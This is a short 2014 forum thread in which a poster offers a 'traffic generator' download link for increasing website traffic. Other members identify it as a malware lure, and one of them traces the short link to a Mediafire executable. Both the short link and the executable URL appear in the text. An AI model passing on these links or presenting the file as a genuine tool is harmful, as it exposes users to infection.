Thread: [\[Traffic Generator\] increase your website traffic](#)

mansipunitarora - January 31, 2014, 8:36 am

Hiiii HF,

Are there any recent tools or methods out there for increasing website traffic. I'm trying to promote my company site and can give you more ideas of traffic generate to rank higher on the good search page. The website has been out for a few years.this is refferal link below:

<http://gg.gg/TrafficEmulator?>

Red™ - February 1, 2014, 10:37 am

What website lol that is a downwload link, probably to something that will infect you.

hey mate you know what traffic emulator is not 600kb in size so as the Red™ said are you trying to infect others ?

AfterDeath - February 4, 2014, 5:35 am

I saw the exact same link on BHW somewhere, definitely infected

mugrinic - February 10, 2014, 11:29 am

redirect to <http://www.mediafire.com/download/usl45ifhms13dym/TrafficEmulator.exe>

acidreeflux - February 15, 2014, 10:02 am

yea i dl that file he is trying to infect with traffic emulator and its like a bunch of damn pop ups in sandbox
